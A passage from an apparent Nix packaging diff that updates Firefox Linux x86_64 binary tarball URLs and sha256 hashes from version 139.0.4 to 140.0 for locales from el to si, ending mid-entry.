"https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/el/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/el/firefox-140.0.tar.xz"; locale = "el"; arch = "linux-x86_64"; - sha256 = "d692ffdc64227eaed48fce8c77d124fc0743577b4bc9a3e8fe78966c2f3ec5bc"; + sha256 = "ceac2700039c86f4ad25f36aa1fd032af1f5cbcf63a499fb85e25b143ffe53c1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-CA/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-CA/firefox-140.0.tar.xz"; locale = "en-CA"; arch = "linux-x86_64"; - sha256 = "9e470eb8dc39111c621c32cce5a95c7d3a8b57bcc574720515ceb9b8d972ecc3"; + sha256 = "bc256ad2e518df693ee8ebc38b39dda57f52e592bfe18eb86592fb302bb45421"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-GB/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-GB/firefox-140.0.tar.xz"; locale = "en-GB"; arch = "linux-x86_64"; - sha256 = "f43c3b9b31b17cddb029933815cde6edb9602436801485279f7843b16a9c1dd1"; + sha256 = "1953ecad7b30d249639ec06a5dd3977cda0ebe873eff36b368a96c80735a2e8c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-US/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-US/firefox-140.0.tar.xz"; locale = "en-US"; arch = "linux-x86_64"; - sha256 = "fe22686f09a0c46390fea430b26cccc323d92af26869699f394f25b5e71527a3"; + sha256 = "ca3469774734743b878bca2cfb7efb7b8a8eb4a3c15c2f1f427fbc0472ad3f6e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/eo/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/eo/firefox-140.0.tar.xz"; locale = "eo"; arch = "linux-x86_64"; - sha256 = "78e64de10a7fc95dd7bff528b21e0a5deb2afa00dbfc96fd83de9ac2ef3a9794"; + sha256 = "c62d7692fb055aa6343c40a2d83530a87d3e48676c32a6b4b263988f8a5d033e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-AR/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-AR/firefox-140.0.tar.xz"; locale = "es-AR"; arch = "linux-x86_64"; - sha256 = "5bd405f5cb1fd55b65ee0c50e03b7b00c6e5640b6e1cdbd5e242c75341c2ace2"; + sha256 = "a14e808f3d7138cce8fb02d82a75277eb806c4dfdcf110c3436b484abb40e54b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-CL/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-CL/firefox-140.0.tar.xz"; locale = "es-CL"; arch = "linux-x86_64"; - sha256 = "8c3f35f8bd8bc114916133659c9b0847a1f2cb83f48f0139e7a32d429850f85f"; + sha256 = "61e03791900929469e4728a9c630147f68b4e0081e17740479c506162c21b955"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-ES/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-ES/firefox-140.0.tar.xz"; locale = "es-ES"; arch = "linux-x86_64"; - sha256 = "85e59a1f85cadcabc191ca4127086b5162f80af63f5d90efa8aeb7c8f47195fd"; + sha256 = "a05f2eebffc138dbfe7ce0b86753c72b53a9323be93fb0dcd0d7a8c17517666e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-MX/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-MX/firefox-140.0.tar.xz"; locale = "es-MX"; arch = "linux-x86_64"; - sha256 = "27c3494deb84db86620c7029d36a8d300ac484555b925b50aa6c9cc94c646b61"; + sha256 = "252cbb08be86d3e8a7b8c4866c019e9a13dd7b76921c9cac0b9919fbbcb2caed"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/et/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/et/firefox-140.0.tar.xz"; locale = "et"; arch = "linux-x86_64"; - sha256 = "a82d41362ffe731565a1e5ddb4ff14c61c22f703c5582b0068ed462ff76e0557"; + sha256 = "3c246bed857b84bb7e283051e6524a08e9e7c2c24b45e0ee02c43424e609ff5c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/eu/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/eu/firefox-140.0.tar.xz"; locale = "eu"; arch = "linux-x86_64"; - sha256 = "bc28af96081a3b3df3570e368d4712e2de86da3b6d4abb5da93bcd3dc72372ca"; + sha256 = "849688427d922c8c539d011121fc2af6c1535a8e127195832e869db0df94ea9b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fa/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fa/firefox-140.0.tar.xz"; locale = "fa"; arch = "linux-x86_64"; - sha256 = "940e74356f31591d458e4e4767c27aa8704c9adf3d586599789d7440874f02c0"; + sha256 = "1ef712b9624124fcac4bf8d76cf7951e569b3fd19bdaa4dc9e66092a60392f15"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ff/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ff/firefox-140.0.tar.xz"; locale = "ff"; arch = "linux-x86_64"; - sha256 = "d5e94fccef9530647f6b28e94e47265277b187eeceb5104915a9ce1dd4b776e0"; + sha256 = "dc743506e60ea801c729b37fc9f169e659b51b1bc58de8b93e49f214b76d8a95"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fi/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fi/firefox-140.0.tar.xz"; locale = "fi"; arch = "linux-x86_64"; - sha256 = "b03c29658689808dfb8a112f8804eeded078cd1b5046e7964c83083f4c241a81"; + sha256 = "d10ad89ad355c6a369dd2711db04a3ff4a011f8deb14017a7b4cdc0aec9c0b63"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fr/firefox-140.0.tar.xz"; locale = "fr"; arch = "linux-x86_64"; - sha256 = "91f4dd68920742372caf8285ea2670ee10de53cc95d3e4eecb8a8c5c44eb3230"; + sha256 = "a3e9d97ef8a1b408cb7301e35ad26e9966372541c3e0d4a2be3608434549acb1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fur/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fur/firefox-140.0.tar.xz"; locale = "fur"; arch = "linux-x86_64"; - sha256 = "789717e8a3317f1e0ccdc7df1c82bfc717204f7a7362da7f1c6d73cf73ceccb6"; + sha256 = "7dbd0829a3b719fc2fcc3d684424f31b50c0394be4d329e061912f32fb48f226"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fy-NL/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fy-NL/firefox-140.0.tar.xz"; locale = "fy-NL"; arch = "linux-x86_64"; - sha256 = "da3063893f76052b19975ad1a5cf59296d2b05ec7756861271c2dfcc9de3997b"; + sha256 = "9392092b730e7c8d6b31f0bd238dbdd6fae5bc5946566b79d4a5eccc49679e46"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ga-IE/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ga-IE/firefox-140.0.tar.xz"; locale = "ga-IE"; arch = "linux-x86_64"; - sha256 = "443390d6794b84cd0bb2d0856aba154f1b3747fc580141285d5f5f4223d4dbdf"; + sha256 = "02661776d78c34ebce68fc8e9212a701929bc903f98d7992281a55ab3106fefc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gd/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gd/firefox-140.0.tar.xz"; locale = "gd"; arch = "linux-x86_64"; - sha256 = "0da26d8a5bf46e61ee2bb6a0a585d61aefa398bb970e830e6044931dec7e65b1"; + sha256 = "73e35e70ede169a0a54e3511107c9e9f956c0ebfb864234c55c166a4e7808c4a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gl/firefox-140.0.tar.xz"; locale = "gl"; arch = "linux-x86_64"; - sha256 = "e948e6433e2b5a0455348bcea3dc5ca2d9473e77a260a6a4a9aa49e0d745a20b"; + sha256 = "830e1df21a6e651be8b1f5f6fc09ea85ce7998c70ccd2f35ebd261ec6751f782"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gn/firefox-140.0.tar.xz"; locale = "gn"; arch = "linux-x86_64"; - sha256 = "1a9ed525b71685b5ffbc9bb88f006fff1aa634dc437581796baed4f7ed318ac8"; + sha256 = "383fd396af8bed91630f57957bdc4a32d7823d2f11aada20da4faa327b0d9d06"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gu-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gu-IN/firefox-140.0.tar.xz"; locale = "gu-IN"; arch = "linux-x86_64"; - sha256 = "9b2255cc4c2ce0901fa2080dd68cc437c26ce51197242837f4f82dacf59070f5"; + sha256 = "f96beb7adad112dd44fd17987eda338f380d81d6ada43bb3314f45b17e108de9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/he/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/he/firefox-140.0.tar.xz"; locale = "he"; arch = "linux-x86_64"; - sha256 = "7fd2fe76a612667b09ae2547aa83c92023abcee1c3ab18a4645c5e39d3ff2c08"; + sha256 = "091ca28870c0c7d4a885ef4984a33da727776ec67407708a1865bd3da5c1f1e6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hi-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hi-IN/firefox-140.0.tar.xz"; locale = "hi-IN"; arch = "linux-x86_64"; - sha256 = "86fcf458b4e72b2345b3d4f22c0eed581ba743a0f44be9c8b1cd07612538154e"; + sha256 = "0015818d803ad2d7057c6bbbbaac851c5af4f444b54ddf84e0f3922c42124922"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hr/firefox-140.0.tar.xz"; locale = "hr"; arch = "linux-x86_64"; - sha256 = "a084d7d1260b86ac8a5390fe435acc534fe7a4835bc5dae0136232aeb2b00a4e"; + sha256 = "23153918ffe5fbba01b7fcd9678344f01ed173df05098ed8f4748f0e952282c6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hsb/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hsb/firefox-140.0.tar.xz"; locale = "hsb"; arch = "linux-x86_64"; - sha256 = "e7e611f6df72b8019ca44ec6f3ad68365d7dffda5dfa2b6b3025479607f67fdd"; + sha256 = "1d02b4ac6a84c19aaf704b968ebea63362a1832071f06d8bc3c971c1fcc78675"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hu/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hu/firefox-140.0.tar.xz"; locale = "hu"; arch = "linux-x86_64"; - sha256 = "0c52bf023a58d78b4da76e15c6a127ffb45a2bd58c75ac7572f2ef3decea3cff"; + sha256 = "46f8e6432511825872c135f9c4a28357b5f6be71fb9a402cf74d4c563ab83c4c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hy-AM/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hy-AM/firefox-140.0.tar.xz"; locale = "hy-AM"; arch = "linux-x86_64"; - sha256 = "1ca30d46dfa5a0f372d89c073387fd261db9ec7aa3d1a48f5d6ae09f21a4efb2"; + sha256 = "225bd4a5220c444e2cadf9534e4f029dbd243f1807a75099ca52cc2ca9433876"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ia/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ia/firefox-140.0.tar.xz"; locale = "ia"; arch = "linux-x86_64"; - sha256 = "75b3a6d0eb90f977370709b03e2d84bb62d25105cfdbb86d6b85d11916546582"; + sha256 = "7186d41c11410355c485a63c93c26db5be53ac4809c3f8b97751ba50ce719365"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/id/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/id/firefox-140.0.tar.xz"; locale = "id"; arch = "linux-x86_64"; - sha256 = "d4d40d1de930670b5da5edbad90a58d87a9ef1256a90acd42b867322f1069550"; + sha256 = "f02092fc917e28764c3ae7de11f710105f2333e06553399775e7dce443027c11"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/is/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/is/firefox-140.0.tar.xz"; locale = "is"; arch = "linux-x86_64"; - sha256 = "89805ee54ff0261b9063dfbce2ad833d8967593591adb780ee905b0f55a72191"; + sha256 = "2b58ae0c0a4deb82ccac32b9099b99e1f33fdea1653c9428f7bdb22ea6359a43"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/it/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/it/firefox-140.0.tar.xz"; locale = "it"; arch = "linux-x86_64"; - sha256 = "1d18aad4f64e91760a5fe18ba26aa2d102a1c5c1977ccd8313a47811bbfb7bb8"; + sha256 = "7fe96baa0b96be453da1726ceb4e61e6094bd0555f7613588586faac6193ede9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ja/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ja/firefox-140.0.tar.xz"; locale = "ja"; arch = "linux-x86_64"; - sha256 = "1c1304057882bd87a6553c68cca3c9c6341d1f910fc2a8be5918d91e63e82191"; + sha256 = "ce168d6816fa268761cbc40e5986b7585d0a7d934c04007c75b6d7e0ceaa8049"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ka/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ka/firefox-140.0.tar.xz"; locale = "ka"; arch = "linux-x86_64"; - sha256 = "d6ea469bac110bf20def38bef0d0f1f6c1eb6369ac5ea38e597a78d9be8ceb6d"; + sha256 = "52c7f357775a89a31b1296683cbd3f108d7078273361c9db233e7fb81f1ab30a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kab/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kab/firefox-140.0.tar.xz"; locale = "kab"; arch = "linux-x86_64"; - sha256 = "46a9370b9eb7411955785bfa9c7707720333255014b6fb76b55d26c76aed04f7"; + sha256 = "7ab9d13435816a8e31c380c3f7e3e2d8b7d0a5ae8ad113c047992fcce7b3ed0d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kk/firefox-140.0.tar.xz"; locale = "kk"; arch = "linux-x86_64"; - sha256 = "53bfcb7fb280ad84446a2aee466eb86181f24d6c6ee13989b1cd03e89ebb836b"; + sha256 = "faeaba4ddd7c4f47535dec8ea2b1fe1d551024559331e7281a542a1440e235d3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/km/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/km/firefox-140.0.tar.xz"; locale = "km"; arch = "linux-x86_64"; - sha256 = "8f59704ba6bc586e92402296f801acecb47175194e70f7d2fd102122128af36e"; + sha256 = "186844b2cc48a1123f6ed8940debd0a3682200977b074d42ca12caa7dd9c4a98"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kn/firefox-140.0.tar.xz"; locale = "kn"; arch = "linux-x86_64"; - sha256 = "0502db9a7390f4918dc7495d1923c10f65a81202f926f5f9c8930e21ae53b504"; + sha256 = "02e8d601cdc803b5c811448642a11427b99e3aa95049b0930a4e04bc2fcc2056"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ko/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ko/firefox-140.0.tar.xz"; locale = "ko"; arch = "linux-x86_64"; - sha256 = "2beab3ce63ef964f521a0a74ce4f59155b02215e221cf34d3f353cddff79017a"; + sha256 = "63191dd6dd2d87fc4396f30dcfc558de43b21d7b2d5e0340615978e45e428120"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lij/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lij/firefox-140.0.tar.xz"; locale = "lij"; arch = "linux-x86_64"; - sha256 = "3ece05b3bf61cedc4c4e9ff7c783ef5697d10bf5c64d460bb8c4c325caa163c6"; + sha256 = "e4651aee6e4fa16d6588ba622a076e4f666dc72aa24cceec1205355098a0418e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lt/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lt/firefox-140.0.tar.xz"; locale = "lt"; arch = "linux-x86_64"; - sha256 = "e42a660ab50c2fdbd17327c5d6c6d7f84b34a427ab63476ba652813923fda45d"; + sha256 = "9fa31c718110f2f0e8796381ee5597eb470789f7efd29794a24421c0eadd33e2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lv/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lv/firefox-140.0.tar.xz"; locale = "lv"; arch = "linux-x86_64"; - sha256 = "32ae55c17cb7ca8876bb8228fdd2f3c1db61e34d421f45c7d1cb44fb9ce20d3f"; + sha256 = "4df334ded6dd45fbfb851c1f7e1ddcd32d9f18d9f0c7de854cdbac8f30b537fc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/mk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/mk/firefox-140.0.tar.xz"; locale = "mk"; arch = "linux-x86_64"; - sha256 = "635c32aefaceb333fcb202425fbee52f31e4de24456d795e7d0a6c09e9f98da9"; + sha256 = "76469e46b1a5f96ed2d3f5ffc7e04b8091b19d76991b92470b4e6a1dbbde9361"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/mr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/mr/firefox-140.0.tar.xz"; locale = "mr"; arch = "linux-x86_64"; - sha256 = "20355f6b420d2ce43ac8314f7a0ee059076fb8a94c831a21e839b780b24b749a"; + sha256 = "c9bec0c7ffe836d68f457ea051d486ef8d820935c9e56b0e3b051e587c291ff2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ms/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ms/firefox-140.0.tar.xz"; locale = "ms"; arch = "linux-x86_64"; - sha256 = "1b9bdec98b7c9b12bab7efc119165e62d8cc0a3a43a9f8f8feb5eabf7aa88f2f"; + sha256 = "f86e7cc3cd6b7354be0e0937492bea873c3ebe266b11a57ebcf78e5e2e0c3d81"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/my/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/my/firefox-140.0.tar.xz"; locale = "my"; arch = "linux-x86_64"; - sha256 = "76a2a5edf32125554af394111c4ebaec727c2cbe3967af231f6be2daecd6f448"; + sha256 = "1c022a0b6833cefa4b1b86dbce08ef8d19c3f4cbd338838ea92e6d36e441d632"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nb-NO/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nb-NO/firefox-140.0.tar.xz"; locale = "nb-NO"; arch = "linux-x86_64"; - sha256 = "3382e49c093fcb69f9dfb7621dd4f5de3d8820bf83104d1f05538ad8b8165939"; + sha256 = "cc50663022fccebdc2913d51b4dbd15296b092bcd77de05587a25201c23a18ec"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ne-NP/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ne-NP/firefox-140.0.tar.xz"; locale = "ne-NP"; arch = "linux-x86_64"; - sha256 = "26537a983ed0a7b01b8ebddafa97f78680f2ed49e738959d43fdeb6c7dbe5c2a"; + sha256 = "376e34a8162314fee8681da63cf0fb32ec2293d562ff5e98e591b08147290d29"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nl/firefox-140.0.tar.xz"; locale = "nl"; arch = "linux-x86_64"; - sha256 = "d21d95b1bc2f94b03a3f19690047ae1988b8be01fcc07509f08d95a020ddd21b"; + sha256 = "7de2bd58b3360efa3de7c4e0763c1ca1c4ee6f99cc30297b69b9cee2fac62dad"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nn-NO/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nn-NO/firefox-140.0.tar.xz"; locale = "nn-NO"; arch = "linux-x86_64"; - sha256 = "04b5f772b1ae9dac6b04b4ce548583888682f482a2f0459bff995d8ba8544304"; + sha256 = "9c686e8981c259ce228640c3553da8c239a4aa487ea0105cbb9507ca1dde4099"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/oc/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/oc/firefox-140.0.tar.xz"; locale = "oc"; arch = "linux-x86_64"; - sha256 = "d56bdb33635703b014f3f367ae60ae5d2c3d2e78f375386a909bd5567d844461"; + sha256 = "17c751b0cb7555f8627e5813332e548cc2477168163cfa0ce2c8617baa11918a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pa-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pa-IN/firefox-140.0.tar.xz"; locale = "pa-IN"; arch = "linux-x86_64"; - sha256 = "178067f1e94cdc889da0129ed2c58d16c5d22f7c77ffe91f31ec32297f0771d0"; + sha256 = "abf85546602843db28fa42736dbd62023905ae079ccfac51ccefda44b861d6e3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pl/firefox-140.0.tar.xz"; locale = "pl"; arch = "linux-x86_64"; - sha256 = "1ddb01a76f28b567d2db1fa6bc855491f3fa74183ca1249254172865ef77bb9e"; + sha256 = "42d814bcc07efbcd1fb2b9dafb98fa0caf3607ca79da45beec2f4acbbb452dbe"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pt-BR/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pt-BR/firefox-140.0.tar.xz"; locale = "pt-BR"; arch = "linux-x86_64"; - sha256 = "58ae54a2d2e7eb7be41f8fb7f80bb1079d05480c9b9cd10574d6c5d2d2ff4903"; + sha256 = "60770d39dec007279d6396838a3fadb9a09dc5cb704548a26c83c5220c0e9b94"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pt-PT/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pt-PT/firefox-140.0.tar.xz"; locale = "pt-PT"; arch = "linux-x86_64"; - sha256 = "24d8c16d57b2e0a05537dbe1604c185e71e145feb28391a3637e755d995b5fb1"; + sha256 = "9984d4087c4e770d08edbd0e8e3899e25bb2567b165f9697ce55588ccbbca6ab"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/rm/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/rm/firefox-140.0.tar.xz"; locale = "rm"; arch = "linux-x86_64"; - sha256 = "b6a5b1264958af49edfde10b8382b7fce334e823088d77a7fc8fb667a498f7a4"; + sha256 = "e127b9d57291b04bdd09b9bd3965d0dd9932726554980c50b37e59e8119e9ca5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ro/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ro/firefox-140.0.tar.xz"; locale = "ro"; arch = "linux-x86_64"; - sha256 = "4e73194bc045f14683813073dbdd080e6186cfd0686b53fcc4db425fd9d1838b"; + sha256 = "a52cb846b9bf0640022d9c7cdf225bd8f6e7391cb3de3d144fb7e72b6cd7c3af"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ru/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ru/firefox-140.0.tar.xz"; locale = "ru"; arch = "linux-x86_64"; - sha256 = "85a14c256da423a302b8f421d88f825c04257a5e3dec68aa13a6d3b2b3e85dda"; + sha256 = "b350b95ebb2474018b5ad2a7ed8c3a24797b93a344fa4e0c5b7c36faacd8d925"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sat/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sat/firefox-140.0.tar.xz"; locale = "sat"; arch = "linux-x86_64"; - sha256 = "f27bf4b33ca14dd78b7fc89f9bbc3b333b546205c360f63f7816479ef4025809"; + sha256 = "b45bb2bb42ab1a7ddef59aa8d4e7127fa4119cbc3f2c991fa66d56fc1a3bd80e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sc/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sc/firefox-140.0.tar.xz"; locale = "sc"; arch = "linux-x86_64"; - sha256 = "47df778b5e1a83fe60082a56e9bda65250ef184abf4f7127fa30ace642ef81e5"; + sha256 = "8c2b9298aee3939859a7e16796e96453e302448c50ec113cf0b83a8cb3f631e6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sco/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sco/firefox-140.0.tar.xz"; locale = "sco"; arch = "linux-x86_64"; - sha256 = "ce671e5af5682e095e96552e5e407a301ad2e545766318e59cbc4ddae8792e62"; + sha256 = "9ea7106a5014e3bc3eaeccc120ed3a4e288f20c935ecd6973c6e624777e0d919"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/si/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/si/firefox-140.0.tar.xz"; locale = "si"; arch = 